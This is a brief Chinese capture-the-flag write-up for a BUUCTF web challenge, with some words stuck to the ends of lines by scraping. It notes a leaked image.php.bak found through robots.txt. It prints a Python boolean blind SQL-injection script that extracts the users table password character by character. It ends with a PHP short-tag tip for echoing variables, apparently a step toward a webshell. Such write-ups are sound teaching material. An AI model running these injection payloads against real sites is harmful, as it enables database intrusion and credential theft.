[TOC]php
題目復現連接:https://buuoj.cn/challenges 參考連接:BUUCTF的wp(隨時棄坑) node
訪問robots.txt能夠獲得image.php.bakgit
貼上腳本github
import requests url = r'http://6873d13e-5f19-42e4-bb8f-dec6d9acdeb3.node1.buuoj.cn/image.php' result = '' for x in range(0, 100): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = " or id=if(ascii(substr((select password from users limit 1 offset 0),%d,1))>%d,1,0)#" % (x, mid) params = { 'id':'\\\\0', 'path':payload } response = requests.get(url, params=params) if b'JFIF' in response.content: low = mid + 1 else: high = mid mid = (low + high) // 2 result += chr(int(mid)) print(result)
PHP開啓短標籤即short_open_tag=on
時,能夠使用<?=$_?>
輸出變量web